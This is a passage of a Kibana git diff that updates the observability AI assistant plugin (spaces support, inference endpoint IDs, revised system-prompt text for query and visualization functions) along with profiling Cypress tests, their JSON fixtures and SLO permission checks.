preferredAssistantType)); + next: ([appId, applications, preferredAssistantType, space]) => { + setIsVisible(getVisibility(appId, applications, preferredAssistantType, space)); }, }); return () => appSubscription.unsubscribe(); - }, [currentAppId$, applications$, aiAssistantManagementSelection.aiAssistantType$]); + }, [currentAppId$, applications$, aiAssistantManagementSelection.aiAssistantType$, space$]); return { isVisible, diff --git a/x-pack/solutions/observability/plugins/observability_ai_assistant_app/public/routes/conversations/conversation_view_with_props.tsx b/x-pack/solutions/observability/plugins/observability_ai_assistant_app/public/routes/conversations/conversation_view_with_props.tsx index b04e8bac24370..4c77ea437c2a3 100644 --- a/x-pack/solutions/observability/plugins/observability_ai_assistant_app/public/routes/conversations/conversation_view_with_props.tsx +++ b/x-pack/solutions/observability/plugins/observability_ai_assistant_app/public/routes/conversations/conversation_view_with_props.tsx @@ -6,15 +6,22 @@ */ import React from 'react'; -import { ConversationView } from '@kbn/ai-assistant'; +import { ConversationView, FlyoutPositionMode } from '@kbn/ai-assistant'; +import { ObservabilityAIAssistantFlyoutStateProvider } from '@kbn/observability-ai-assistant-plugin/public'; import { useObservabilityAIAssistantParams } from '../../hooks/use_observability_ai_assistant_params'; import { useObservabilityAIAssistantRouter } from '../../hooks/use_observability_ai_assistant_router'; +import { useLocalStorage } from '../../hooks/use_local_storage'; export function ConversationViewWithProps() { const { path } = useObservabilityAIAssistantParams('/conversations/*'); const conversationId = 'conversationId' in path ? path.conversationId : undefined; const observabilityAIAssistantRouter = useObservabilityAIAssistantRouter(); + const [flyoutSettings] = useLocalStorage('observabilityAIAssistant.flyoutSettings', { + mode: FlyoutPositionMode.OVERLAY, + isOpen: false, + }); + function navigateToConversation(nextConversationId?: string) { if (nextConversationId) { observabilityAIAssistantRouter.push('/conversations/{conversationId}', { @@ -29,18 +36,20 @@ export function ConversationViewWithProps() { } return ( - - observabilityAIAssistantRouter.link(`/conversations/{conversationId}`, { - path: { - conversationId: id, - }, - }) - } - scopes={['observability']} - /> + + + observabilityAIAssistantRouter.link(`/conversations/{conversationId}`, { + path: { + conversationId: id, + }, + }) + } + scopes={['observability']} + /> + ); } diff --git a/x-pack/solutions/observability/plugins/observability_ai_assistant_app/public/types.ts b/x-pack/solutions/observability/plugins/observability_ai_assistant_app/public/types.ts index 22bdf2b12236e..e0d0bde81e9c1 100644 --- a/x-pack/solutions/observability/plugins/observability_ai_assistant_app/public/types.ts +++ b/x-pack/solutions/observability/plugins/observability_ai_assistant_app/public/types.ts @@ -31,6 +31,7 @@ import type { AIAssistantManagementSelectionPluginPublicStart, AIAssistantManagementSelectionPluginPublicSetup, } from '@kbn/ai-assistant-management-plugin/public'; +import { SpacesPluginStart } from '@kbn/spaces-plugin/public'; import type { RootCauseAnalysisContainer } from './components/rca/rca_container'; export interface ObservabilityAIAssistantAppPublicStart { @@ -53,6 +54,7 @@ export interface ObservabilityAIAssistantAppPluginStartDependencies { triggersActionsUi: TriggersAndActionsUIPublicPluginStart; data: DataPublicPluginStart; aiAssistantManagementSelection: AIAssistantManagementSelectionPluginPublicStart; + spaces: SpacesPluginStart; } export interface ObservabilityAIAssistantAppPluginSetupDependencies { diff --git a/x-pack/solutions/observability/plugins/observability_ai_assistant_app/scripts/evaluation/scenarios/documentation/index.spec.ts b/x-pack/solutions/observability/plugins/observability_ai_assistant_app/scripts/evaluation/scenarios/documentation/index.spec.ts index b91c66c02a742..90c897f2f61bc 100644 --- a/x-pack/solutions/observability/plugins/observability_ai_assistant_app/scripts/evaluation/scenarios/documentation/index.spec.ts +++ b/x-pack/solutions/observability/plugins/observability_ai_assistant_app/scripts/evaluation/scenarios/documentation/index.spec.ts @@ -13,6 +13,7 @@ import { PerformInstallResponse, UninstallResponse, } from '@kbn/product-doc-base-plugin/common/http_api/installation'; +import { defaultInferenceEndpoints } from '@kbn/inference-common'; import { RETRIEVE_DOCUMENTATION_NAME } from '../../../../server/functions/documentation'; import { chatClient, kibanaClient, logger } from '../../services'; @@ -20,19 +21,29 @@ const ELASTIC_DOCS_INSTALLATION_STATUS_API_PATH = '/internal/product_doc_base/st const ELASTIC_DOCS_INSTALL_ALL_API_PATH = '/internal/product_doc_base/install'; const ELASTIC_DOCS_UNINSTALL_ALL_API_PATH = '/internal/product_doc_base/uninstall'; +const inferenceId = defaultInferenceEndpoints.ELSER; describe('Retrieve documentation function', () => { before(async () => { let statusResponse = await kibanaClient.callKibana('get', { pathname: ELASTIC_DOCS_INSTALLATION_STATUS_API_PATH, + query: { + inferenceId, + }, }); if (statusResponse.data.overall === 'installed') { logger.success('Elastic documentation is already installed'); } else { logger.info('Installing Elastic documentation'); - const installResponse = await kibanaClient.callKibana('post', { - pathname: ELASTIC_DOCS_INSTALL_ALL_API_PATH, - }); + const installResponse = await kibanaClient.callKibana( + 'post', + { + pathname: ELASTIC_DOCS_INSTALL_ALL_API_PATH, + }, + { + inferenceId, + } + ); if (!installResponse.data.installed) { logger.error('Could not install Elastic documentation'); @@ -41,6 +52,9 @@ describe('Retrieve documentation function', () => { statusResponse = await kibanaClient.callKibana('get', { pathname: ELASTIC_DOCS_INSTALLATION_STATUS_API_PATH, + query: { + inferenceId, + }, }); if (statusResponse.data.overall !== 'installed') { @@ -74,7 +88,6 @@ describe('Retrieve documentation function', () => { 'Accurately explains what Kibana Lens is and provides doc-based steps for creating a bar chart visualization', `Does not invent unsupported instructions, answers should reference what's found in the Kibana docs`, ]); - expect(result.passed).to.be(true); }); @@ -96,9 +109,15 @@ describe('Retrieve documentation function', () => { after(async () => { // Uninstall all installed documentation logger.info('Uninstalling Elastic documentation'); - const uninstallResponse = await kibanaClient.callKibana('post', { - pathname: ELASTIC_DOCS_UNINSTALL_ALL_API_PATH, - }); + const uninstallResponse = await kibanaClient.callKibana( + 'post', + { + pathname: ELASTIC_DOCS_UNINSTALL_ALL_API_PATH, + }, + { + inferenceId, + } + ); if (uninstallResponse.data.success) { logger.success('Uninstalled Elastic documentation'); diff --git a/x-pack/solutions/observability/plugins/observability_ai_assistant_app/server/functions/documentation.ts b/x-pack/solutions/observability/plugins/observability_ai_assistant_app/server/functions/documentation.ts index 0d4b0fb30c0b3..7a87bef05a3b0 100644 --- a/x-pack/solutions/observability/plugins/observability_ai_assistant_app/server/functions/documentation.ts +++ b/x-pack/solutions/observability/plugins/observability_ai_assistant_app/server/functions/documentation.ts @@ -7,6 +7,8 @@ import { DocumentationProduct } from '@kbn/product-doc-common'; import { FunctionVisibility } from '@kbn/observability-ai-assistant-plugin/common'; +import { defaultInferenceEndpoints } from '@kbn/inference-common'; +import { getInferenceIdFromWriteIndex } from '@kbn/observability-ai-assistant-plugin/server'; import type { FunctionRegistrationParameters } from '.'; export const RETRIEVE_DOCUMENTATION_NAME = 'retrieve_elastic_doc'; @@ -64,6 +66,12 @@ export async function registerDocumentationFunction({ } as const, }, async ({ arguments: { query, product }, connectorId, simulateFunctionCalling }) => { + const esClient = (await resources.context.core).elasticsearch.client; + + const inferenceId = + (await getInferenceIdFromWriteIndex(esClient, resources.logger)) ?? + defaultInferenceEndpoints.ELSER; + const response = await llmTasks!.retrieveDocumentation({ searchTerm: query, products: product ? [product] : undefined, @@ -71,6 +79,7 @@ export async function registerDocumentationFunction({ connectorId, request: resources.request, functionCalling: simulateFunctionCalling ? 'simulated' : 'auto', + inferenceId, }); return { diff --git a/x-pack/solutions/observability/plugins/observability_ai_assistant_app/server/functions/query/index.ts b/x-pack/solutions/observability/plugins/observability_ai_assistant_app/server/functions/query/index.ts index 680bde731b914..f483541076d97 100644 --- a/x-pack/solutions/observability/plugins/observability_ai_assistant_app/server/functions/query/index.ts +++ b/x-pack/solutions/observability/plugins/observability_ai_assistant_app/server/functions/query/index.ts @@ -49,19 +49,7 @@ export function registerQueryFunction({ If the user asks for a query, and one of the dataset info functions was called and returned no results, you should still call the query function to generate an example query. Even if the "${QUERY_FUNCTION_NAME}" function was used before that, follow it up with the "${QUERY_FUNCTION_NAME}" function. If a query fails, do not attempt to correct it yourself. Again you should call the "${QUERY_FUNCTION_NAME}" function, - even if it has been called before. - - ${ - availableFunctionNames.includes(VISUALIZE_QUERY_NAME) - ? `When the "${VISUALIZE_QUERY_NAME}" function has been called, a visualization has been displayed to the user. DO NOT UNDER ANY CIRCUMSTANCES follow up a "${VISUALIZE_QUERY_NAME}" function call with your own visualization attempt` - : '' - } - - ${ - availableFunctionNames.includes(EXECUTE_QUERY_NAME) - ? `If the "${EXECUTE_QUERY_NAME}" function has been called, summarize these results for the user. The user does not see a visualization in this case.` - : '' - }`; + even if it has been called before.`; }); functions.registerFunction( @@ -137,14 +125,16 @@ export function registerQueryFunction({ const actions = functions.getActions(); + const inferenceMessages = convertMessagesForInference( + // remove system message and query function request + messages.filter((message) => message.message.role !== MessageRole.System).slice(0, -1), + resources.logger + ); + const events$ = naturalLanguageToEsql({ client: pluginsStart.inference.getClient({ request: resources.request }), connectorId, - messages: convertMessagesForInference( - // remove system message and query function request - messages.filter((message) => message.message.role !== MessageRole.System).slice(0, -1), - resources.logger - ), + messages: inferenceMessages, logger: resources.logger, tools: Object.fromEntries( [...actions, ...esqlFunctions].map((fn) => [ @@ -153,6 +143,12 @@ export function registerQueryFunction({ ]) ), functionCalling: simulateFunctionCalling ? 'simulated' : 'auto', + maxRetries: 0, + metadata: { + connectorTelemetry: { + pluginId: 'observability_ai_assistant', + }, + }, }); const chatMessageId = v4(); diff --git a/x-pack/solutions/observability/plugins/observability_ai_assistant_app/server/functions/visualize_esql.ts b/x-pack/solutions/observability/plugins/observability_ai_assistant_app/server/functions/visualize_esql.ts index e7a4e8c0dc029..c96db9a713288 100644 --- a/x-pack/solutions/observability/plugins/observability_ai_assistant_app/server/functions/visualize_esql.ts +++ b/x-pack/solutions/observability/plugins/observability_ai_assistant_app/server/functions/visualize_esql.ts @@ -21,10 +21,20 @@ const getMessageForLLM = ( if (hasErrors) { return 'The query has syntax errors'; } - return intention === VisualizeESQLUserIntention.executeAndReturnResults || + + if ( + intention === VisualizeESQLUserIntention.executeAndReturnResults || intention === VisualizeESQLUserIntention.generateQueryOnly - ? 'These results are not visualized' - : 'Only following query is visualized: ```esql\n' + query + '\n```'; + ) { + return 'These results are not visualized.'; + } + + // This message is added to avoid the model echoing the full ES|QL query back to the user. + // The UI already shows the chart. + return `Only the following query is visualized: \`\`\`esql\n' + ${query} + '\n\`\`\`\n + If the query is visualized once, don't attempt to visualize the same query again immediately. + After calling visualize_query you are done - **do NOT repeat the ES|QL query or add any further + explanation unless the user explicitly asks for it again.** Mention that the query is visualized.`; }; export function registerVisualizeESQLFunction({ diff --git a/x-pack/solutions/observability/plugins/observability_ai_assistant_app/server/types.ts b/x-pack/solutions/observability/plugins/observability_ai_assistant_app/server/types.ts index cd9f578d99093..919bec4889ec7 100644 --- a/x-pack/solutions/observability/plugins/observability_ai_assistant_app/server/types.ts +++ b/x-pack/solutions/observability/plugins/observability_ai_assistant_app/server/types.ts @@ -35,7 +35,6 @@ import type { ObservabilityPluginSetup } from '@kbn/observability-plugin/server' import type { InferenceServerStart, InferenceServerSetup } from '@kbn/inference-plugin/server'; import type { LogsDataAccessPluginStart } from '@kbn/logs-data-access-plugin/server'; import type { LlmTasksPluginStart } from '@kbn/llm-tasks-plugin/server'; -import type { SLOServerStart, SLOServerSetup } from '@kbn/slo-plugin/server'; import type { SpacesPluginStart, SpacesPluginSetup } from '@kbn/spaces-plugin/server'; // eslint-disable-next-line @typescript-eslint/no-empty-interface @@ -57,7 +56,6 @@ export interface ObservabilityAIAssistantAppPluginStartDependencies { serverless?: ServerlessPluginStart; inference: InferenceServerStart; logsDataAccess: LogsDataAccessPluginStart; - slo: SLOServerStart; spaces: SpacesPluginStart; llmTasks: LlmTasksPluginStart; } @@ -76,6 +74,5 @@ export interface ObservabilityAIAssistantAppPluginSetupDependencies { cloud?: CloudSetup; serverless?: ServerlessPluginSetup; inference: InferenceServerSetup; - slo: SLOServerSetup; spaces: SpacesPluginSetup; } diff --git a/x-pack/solutions/observability/plugins/observability_ai_assistant_app/tsconfig.json b/x-pack/solutions/observability/plugins/observability_ai_assistant_app/tsconfig.json index fc44d273a9efe..8114d4751d1cb 100644 --- a/x-pack/solutions/observability/plugins/observability_ai_assistant_app/tsconfig.json +++ b/x-pack/solutions/observability/plugins/observability_ai_assistant_app/tsconfig.json @@ -71,7 +71,6 @@ "@kbn/logs-data-access-plugin", "@kbn/ai-assistant-common", "@kbn/observability-utils-common", - "@kbn/slo-plugin", "@kbn/spaces-plugin", "@kbn/data-service", "@kbn/inference-common", @@ -86,7 +85,7 @@ "@kbn/i18n-react", "@kbn/utility-types", "@kbn/alerts-ui-shared", - "@kbn/traced-es-client" + "@kbn/traced-es-client", ], "exclude": ["target/**/*"] } diff --git a/x-pack/solutions/observability/plugins/profiling/e2e/cypress/e2e/profiling_views/functions.cy.ts b/x-pack/solutions/observability/plugins/profiling/e2e/cypress/e2e/profiling_views/functions.cy.ts index ea1a59860d426..ef569d2363e99 100644 --- a/x-pack/solutions/observability/plugins/profiling/e2e/cypress/e2e/profiling_views/functions.cy.ts +++ b/x-pack/solutions/observability/plugins/profiling/e2e/cypress/e2e/profiling_views/functions.cy.ts @@ -10,10 +10,7 @@ import { profilingPervCPUWattX86, } from '@kbn/observability-plugin/common'; -// Failing: See https://github.com/elastic/kibana/issues/224515 -// Failing: See https://github.com/elastic/kibana/issues/224516 -// Failing: See https://github.com/elastic/kibana/issues/224514 -describe.skip('Functions page', () => { +describe('Functions page', () => { const rangeFrom = '2023-04-18T00:00:00.000Z'; const rangeTo = '2023-04-18T00:00:30.000Z'; @@ -33,21 +30,25 @@ describe.skip('Functions page', () => { }); it('validates values in the table', () => { - cy.intercept('GET', '/internal/profiling/topn/functions?*').as('getTopNFunctions'); + cy.intercept('GET', '/internal/profiling/topn/functions?*', { + fixture: 'topn_functions.json', + }).as('getTopNFunctions'); cy.visitKibana('/app/profiling/functions', { rangeFrom, rangeTo }); cy.wait('@getTopNFunctions'); const firstRowSelector = '[data-grid-row-index="0"] [data-test-subj="dataGridRowCell"]'; cy.get(firstRowSelector).eq(1).contains('1'); cy.get(firstRowSelector).eq(2).contains('vmlinux'); - cy.get(firstRowSelector).eq(3).contains('5.46%'); - cy.get(firstRowSelector).eq(4).contains('5.46%'); - cy.get(firstRowSelector).eq(5).contains('4.19 lbs / 1.9 kg'); - cy.get(firstRowSelector).eq(6).contains('$18.29'); - cy.get(firstRowSelector).eq(7).contains('28'); + cy.get(firstRowSelector).eq(3).contains('13.45%'); + cy.get(firstRowSelector).eq(4).contains('13.86%'); + cy.get(firstRowSelector).eq(5).contains('10.58 lbs / 4.8 kg'); + cy.get(firstRowSelector).eq(6).contains('$45.07'); + cy.get(firstRowSelector).eq(7).contains('67'); }); it('shows function details when action button is clicked on the table ', () => { - cy.intercept('GET', '/internal/profiling/topn/functions?*').as('getTopNFunctions'); + cy.intercept('GET', '/internal/profiling/topn/functions?*', { + fixture: 'topn_functions.json', + }).as('getTopNFunctions'); cy.visitKibana('/app/profiling/functions', { rangeFrom, rangeTo }); cy.wait('@getTopNFunctions'); const firstRowSelector = @@ -59,33 +60,39 @@ describe.skip('Functions page', () => { { parentKey: 'informationRows', key: 'executable', value: 'vmlinux' }, { parentKey: 'informationRows', key: 'function', value: 'N/A' }, { parentKey: 'informationRows', key: 'sourceFile', value: 'N/A' }, - { parentKey: 'impactEstimates', key: 'totalCPU', value: '5.46%' }, - { parentKey: 'impactEstimates', key: 'selfCPU', value: '5.46%' }, - { parentKey: 'impactEstimates', key: 'samples', value: '28' }, - { parentKey: 'impactEstimates', key: 'selfSamples', value: '28' }, - { parentKey: 'impactEstimates', key: 'coreSeconds', value: '1.47 seconds' }, - { parentKey: 'impactEstimates', key: 'selfCoreSeconds', value: '1.47 seconds' }, - { parentKey: 'impactEstimates', key: 'annualizedCoreSeconds', value: '17.93 days' }, - { parentKey: 'impactEstimates', key: 'annualizedSelfCoreSeconds', value: '17.93 days' }, + { parentKey: 'impactEstimates', key: 'totalCPU', value: '13.86%' }, + { parentKey: 'impactEstimates', key: 'selfCPU', value: '13.45%' }, + { parentKey: 'impactEstimates', key: 'samples', value: '69' }, + { parentKey: 'impactEstimates', key: 'selfSamples', value: '67' }, + { parentKey: 'impactEstimates', key: 'coreSeconds', value: '3.63 seconds' }, + { parentKey: 'impactEstimates', key: 'selfCoreSeconds', value: '3.53 seconds' }, + { parentKey: 'impactEstimates', key: 'annualizedCoreSeconds', value: '1.45 months' }, + { parentKey: 'impactEstimates', key: 'annualizedSelfCoreSeconds', value: '1.41 months' }, { parentKey: 'impactEstimates', key: 'co2Emission', value: '~0.00 lbs / ~0.00 kg' }, { parentKey: 'impactEstimates', key: 'selfCo2Emission', value: '~0.00 lbs / ~0.00 kg' }, - { parentKey: 'impactEstimates', key: 'annualizedCo2Emission', value: '4.19 lbs / 1.9 kg' }, + { parentKey: 'impactEstimates', key: 'annualizedCo2Emission', value: '10.58 lbs / 4.8 kg' }, { parentKey: 'impactEstimates', key: 'annualizedSelfCo2Emission', - value: '4.19 lbs / 1.9 kg', + value: '10.14 lbs / 4.6 kg', }, { parentKey: 'impactEstimates', key: 'dollarCost', value: '$~0.00' }, { parentKey: 'impactEstimates', key: 'selfDollarCost', value: '$~0.00' }, - { parentKey: 'impactEstimates', key: 'annualizedDollarCost', value: '$18.29' }, - { parentKey: 'impactEstimates', key: 'annualizedSelfDollarCost', value: '$18.29' }, + { parentKey: 'impactEstimates', key: 'annualizedDollarCost', value: '$45.07' }, + { parentKey: 'impactEstimates', key: 'annualizedSelfDollarCost', value: '$43.76' }, ].forEach(({ parentKey, key, value }) => { cy.get(`[data-test-subj="${parentKey}_${key}"]`).contains(value); }); }); it('adds kql filter', () => { - cy.intercept('GET', '/internal/profiling/topn/functions?*').as('getTopNFunctions'); + cy.intercept('GET', '/internal/profiling/topn/functions?*', (req) => { + if (req.url.includes('kuery=Stacktrace.id')) { + req.reply({ fixture: 'topn_functions_stacktrace_filtered.json' }); + } else { + req.reply({ fixture: 'topn_functions.json' }); + } + }).as('getTopNFunctions'); cy.visitKibana('/app/profiling/functions', { rangeFrom, rangeTo }); cy.wait('@getTopNFunctions'); const firstRowSelector = '[data-grid-row-index="0"] [data-test-subj="dataGridRowCell"]'; @@ -107,13 +114,22 @@ describe.skip('Functions page', () => { afterEach(resetSettings); it('changes CO2 settings and validate values in the table', () => { - cy.intercept('GET', '/internal/profiling/topn/functions?*').as('getTopNFunctions'); + let callCount = 0; + cy.intercept('GET', '/internal/profiling/topn/functions?*', (req) => { + callCount += 1; + + if (callCount === 2) { + req.reply({ fixture: 'topn_functions_changed_settings.json' }); + } else { + req.reply({ fixture: 'topn_functions.json' }); + } + }).as('getTopNFunctions'); cy.visitKibana('/app/profiling/functions', { rangeFrom, rangeTo }); cy.wait('@getTopNFunctions'); const firstRowSelector = '[data-grid-row-index="0"] [data-test-subj="dataGridRowCell"]'; cy.get(firstRowSelector).eq(1).contains('1'); cy.get(firstRowSelector).eq(2).contains('vmlinux'); - cy.get(firstRowSelector).eq(5).contains('4.19 lbs / 1.9 kg'); + cy.get(firstRowSelector).eq(5).contains('10.58 lbs / 4.8 kg'); cy.contains('Settings').click(); cy.contains('Advanced Settings'); cy.get(`[data-test-subj="management-settings-editField-${profilingCo2PerKWH}"]`) @@ -132,7 +148,7 @@ describe.skip('Functions page', () => { }); cy.go('back'); cy.wait('@getTopNFunctions'); - cy.get(firstRowSelector).eq(5).contains('1.97k lbs / 892.5 kg'); + cy.get(firstRowSelector).eq(5).contains('4.85 lbs / 2.2 kg'); const firstRowSelectorActionButton = '[data-grid-row-index="0"] [data-test-subj="dataGridRowCell"] .euiButtonIcon'; cy.get(firstRowSelectorActionButton).click(); @@ -142,12 +158,12 @@ describe.skip('Functions page', () => { { parentKey: 'impactEstimates', key: 'annualizedCo2Emission', - value: '1.97k lbs / 892.5 kg', + value: '4.85 lbs / 2.2 kg', }, { parentKey: 'impactEstimates', key: 'annualizedSelfCo2Emission', - value: '1.97k lbs / 892.5 kg', + value: '5.73 lbs / 2.6 kg', }, ].forEach(({ parentKey, key, value }) => { cy.get(`[data-test-subj="${parentKey}_${key}"]`).contains(value); diff --git a/x-pack/solutions/observability/plugins/profiling/e2e/cypress/fixtures/topn_functions.json b/x-pack/solutions/observability/plugins/profiling/e2e/cypress/fixtures/topn_functions.json new file mode 100644 index 0000000000000..334cf6670b48e --- /dev/null +++ b/x-pack/solutions/observability/plugins/profiling/e2e/cypress/fixtures/topn_functions.json @@ -0,0 +1,102 @@ +{ + "TotalCount": 12540, + "totalCPU": 12540, + "selfCPU": 498, + "totalAnnualCO2Kgs": 34.5, + "totalAnnualCostUSD": 325.2726, + "SamplingRate": 1, + "TopN": [ + { + "Id": "574807228", + "Rank": 1, + "CountExclusive": 67, + "CountInclusive": 69, + "selfAnnualCO2kgs": 4.6, + "selfAnnualCostUSD": 43.7616, + "totalAnnualCO2kgs": 4.8, + "totalAnnualCostUSD": 45.0679, + "subGroups": { "service.name": { "": { "count": 590 } } }, + "Frame": { + "AddressOrLine": 12583051, + "ExeFileName": "vmlinux", + "FrameType": 4, + "FunctionName": "", + "Inline": false, + "SourceFilename": "", + "SourceLine": 0, + "FileID": "", + "FrameID": "", + "FunctionOffset": 0 + } + }, + { + "Id": "602913197", + "Rank": 2, + "CountExclusive": 36, + "CountInclusive": 324, + "selfAnnualCO2kgs": 2.5, + "selfAnnualCostUSD": 23.5137, + "totalAnnualCO2kgs": 22.5, + "totalAnnualCostUSD": 211.6232, + "subGroups": { "service.name": { "": { "count": 2114 } } }, + "Frame": { + "AddressOrLine": 12941846, + "ExeFileName": "libjvm.so", + "FrameType": 3, + "FunctionName": "", + "Inline": false, + "SourceFilename": "", + "SourceLine": 0, + "FileID": "", + "FrameID": "", + "FunctionOffset": 0 + } + }, + { + "Id": "-610160251", + "Rank": 3, + "CountExclusive": 36, + "CountInclusive": 54, + "selfAnnualCO2kgs": 2.5, + "selfAnnualCostUSD": 23.5137, + "totalAnnualCO2kgs": 3.7, + "totalAnnualCostUSD": 35.2705, + "subGroups": { "service.name": { "": { "count": 795 } } }, + "Frame": { + "AddressOrLine": 42414592, + "ExeFileName": "metricbeat", + "FrameType": 3, + "FunctionName": "", + "Inline": false, + "SourceFilename": "", + "SourceLine": 0, + "FileID": "", + "FrameID": "", + "FunctionOffset": 0 + } + }, + { + "Id": "574807228", + "Rank": 1, + "CountExclusive": 67, + "CountInclusive": 69, + "selfAnnualCO2kgs": 4.6, + "selfAnnualCostUSD": 43.7616, + "totalAnnualCO2kgs": 4.8, + "totalAnnualCostUSD": 45.0679, + "subGroups": { "service.name": { "": { "count": 590 } } }, + "Frame": { + "AddressOrLine": 12583051, + "ExeFileName": "vmlinux", + "FrameType": 4, + "FunctionName": "", + "Inline": false, + "SourceFilename": "", + "SourceLine": 0, + "FileID": "", + "FrameID": "", + "FunctionOffset": 0 + } + } + ] +} diff --git a/x-pack/solutions/observability/plugins/profiling/e2e/cypress/fixtures/topn_functions_changed_settings.json b/x-pack/solutions/observability/plugins/profiling/e2e/cypress/fixtures/topn_functions_changed_settings.json new file mode 100644 index 0000000000000..5dbdbfecae001 --- /dev/null +++ b/x-pack/solutions/observability/plugins/profiling/e2e/cypress/fixtures/topn_functions_changed_settings.json @@ -0,0 +1,79 @@ +{ + "TotalCount": 12540, + "totalCPU": 12540, + "selfCPU": 498, + "totalAnnualCO2Kgs": 34.5, + "totalAnnualCostUSD": 325.2726, + "SamplingRate": 1, + "TopN": [ + { + "Id": "574807228", + "Rank": 1, + "CountExclusive": 67, + "CountInclusive": 69, + "selfAnnualCO2kgs": 2.6, + "selfAnnualCostUSD": 23.7616, + "totalAnnualCO2kgs": 2.2, + "totalAnnualCostUSD": 25.0679, + "subGroups": { "service.name": { "": { "count": 590 } } }, + "Frame": { + "AddressOrLine": 12583051, + "ExeFileName": "vmlinux", + "FrameType": 4, + "FunctionName": "", + "Inline": false, + "SourceFilename": "", + "SourceLine": 0, + "FileID": "", + "FrameID": "", + "FunctionOffset": 0 + } + }, + { + "Id": "602913197", + "Rank": 2, + "CountExclusive": 36, + "CountInclusive": 324, + "selfAnnualCO2kgs": 2.5, + "selfAnnualCostUSD": 23.5137, + "totalAnnualCO2kgs": 22.5, + "totalAnnualCostUSD": 211.6232, + "subGroups": { "service.name": { "": { "count": 2114 } } }, + "Frame": { + "AddressOrLine": 12941846, + "ExeFileName": "libjvm.so", + "FrameType": 3, + "FunctionName": "", + "Inline": false, + "SourceFilename": "", + "SourceLine": 0, + "FileID": "", + "FrameID": "", + "FunctionOffset": 0 + } + }, + { + "Id": "-610160251", + "Rank": 3, + "CountExclusive": 36, + "CountInclusive": 54, + "selfAnnualCO2kgs": 2.5, + "selfAnnualCostUSD": 23.5137, + "totalAnnualCO2kgs": 3.7, + "totalAnnualCostUSD": 35.2705, + "subGroups": { "service.name": { "": { "count": 795 } } }, + "Frame": { + "AddressOrLine": 42414592, + "ExeFileName": "metricbeat", + "FrameType": 3, + "FunctionName": "", + "Inline": false, + "SourceFilename": "", + "SourceLine": 0, + "FileID": "", + "FrameID": "", + "FunctionOffset": 0 + } + } + ] +} diff --git a/x-pack/solutions/observability/plugins/profiling/e2e/cypress/fixtures/topn_functions_stacktrace_filtered.json b/x-pack/solutions/observability/plugins/profiling/e2e/cypress/fixtures/topn_functions_stacktrace_filtered.json new file mode 100644 index 0000000000000..1973a265effdc --- /dev/null +++ b/x-pack/solutions/observability/plugins/profiling/e2e/cypress/fixtures/topn_functions_stacktrace_filtered.json @@ -0,0 +1,33 @@ +{ + "TotalCount": 12540, + "totalCPU": 12540, + "selfCPU": 498, + "totalAnnualCO2Kgs": 34.5, + "totalAnnualCostUSD": 325.2726, + "SamplingRate": 1, + "TopN": [ + { + "Id": "602913197", + "Rank": 2, + "CountExclusive": 36, + "CountInclusive": 324, + "selfAnnualCO2kgs": 2.5, + "selfAnnualCostUSD": 23.5137, + "totalAnnualCO2kgs": 22.5, + "totalAnnualCostUSD": 211.6232, + "subGroups": { "service.name": { "": { "count": 2114 } } }, + "Frame": { + "AddressOrLine": 12941846, + "ExeFileName": "libjvm.so", + "FrameType": 3, + "FunctionName": "", + "Inline": false, + "SourceFilename": "", + "SourceLine": 0, + "FileID": "", + "FrameID": "", + "FunctionOffset": 0 + } + } + ] +} diff --git a/x-pack/solutions/observability/plugins/profiling/public/routing/router_error_boundary.tsx b/x-pack/solutions/observability/plugins/profiling/public/routing/router_error_boundary.tsx index 3e72c3b265873..d0b4df0a5b728 100644 --- a/x-pack/solutions/observability/plugins/profiling/public/routing/router_error_boundary.tsx +++ b/x-pack/solutions/observability/plugins/profiling/public/routing/router_error_boundary.tsx @@ -5,12 +5,12 @@ * 2.0. */ import { NotFoundRouteException } from '@kbn/typed-react-router-config'; -import { EuiErrorBoundary } from '@elastic/eui'; import { useKibana } from '@kbn/kibana-react-plugin/public'; import React from 'react'; import { NotFoundPrompt } from '@kbn/shared-ux-prompt-not-found'; import { useLocation } from 'react-router-dom'; import { i18n } from '@kbn/i18n'; +import { KibanaErrorBoundary } from '@kbn/shared-ux-error-boundary'; import type { ProfilingPluginPublicStartDeps } from '../types'; export function RouterErrorBoundary({ children }: { children?: React.ReactNode }) { @@ -58,14 +58,13 @@ function ErrorWithTemplate({ error }: { error: Error }) { return ( - + - + ); } -function DummyComponent({ error }: { error: Error }) { +function DummyComponent({ error }: { error: Error }): any { throw error; - return
    ; } diff --git a/x-pack/solutions/observability/plugins/profiling/tsconfig.json b/x-pack/solutions/observability/plugins/profiling/tsconfig.json index b270101d3c37b..74aecc7f09996 100644 --- a/x-pack/solutions/observability/plugins/profiling/tsconfig.json +++ b/x-pack/solutions/observability/plugins/profiling/tsconfig.json @@ -57,7 +57,8 @@ "@kbn/apm-data-access-plugin", "@kbn/ebt-tools", "@kbn/core-security-server", - "@kbn/charts-theme" + "@kbn/charts-theme", + "@kbn/shared-ux-error-boundary" // add references to other TypeScript projects the plugin depends on // requiredPlugins from ./kibana.json diff --git a/x-pack/solutions/observability/plugins/slo/public/pages/slo_management/components/slo_management_table.tsx b/x-pack/solutions/observability/plugins/slo/public/pages/slo_management/components/slo_management_table.tsx index 98a9a29f23252..a7bd87754f567 100644 --- a/x-pack/solutions/observability/plugins/slo/public/pages/slo_management/components/slo_management_table.tsx +++ b/x-pack/solutions/observability/plugins/slo/public/pages/slo_management/components/slo_management_table.tsx @@ -97,6 +97,7 @@ export function SloManagementTable() { description: i18n.translate('xpack.slo.item.actions.clone', { defaultMessage: 'Clone', }), + enabled: () => !!permissions?.hasAllWriteRequested, 'data-test-subj': 'sloActionsClone', onClick: (slo: SLODefinitionResponse) => triggerAction({ item: slo, type: 'clone' }), }, @@ -299,7 +300,7 @@ export function SloManagementTable() { pagination={pagination} onChange={onTableChange} loading={isLoading} - selection={selection} + selection={permissions?.hasAllWriteRequested ? selection : undefined} /> ); diff --git a/x-pack/solutions/observability/plugins/slo/server/routes/slo/find_groups.ts b/x-pack/solutions/observability/plugins/slo/server/routes/slo/find_groups.ts index 3563cca7fcc0e..e567c432a3aab 100644 --- a/x-pack/solutions/observability/plugins/slo/server/routes/slo/find_groups.ts +++ b/x-pack/solutions/observability/plugins/slo/server/routes/slo/find_groups.ts @@ -23,12 +23,7 @@ export const findSLOGroupsRoute = createSloServerRoute({ await assertPlatinumLicense(plugins); const { scopedClusterClient, soClient, spaceId } = await getScopedClients({ request, logger }); - const findSLOGroups = new FindSLOGroups( - scopedClusterClient.asCurrentUser, - soClient, - logger, - spaceId - ); + const findSLOGroups = new FindSLOGroups(scopedClusterClient, soClient, logger, spaceId); return await findSLOGroups.execute(params?.query ?? {}); }, }); diff --git 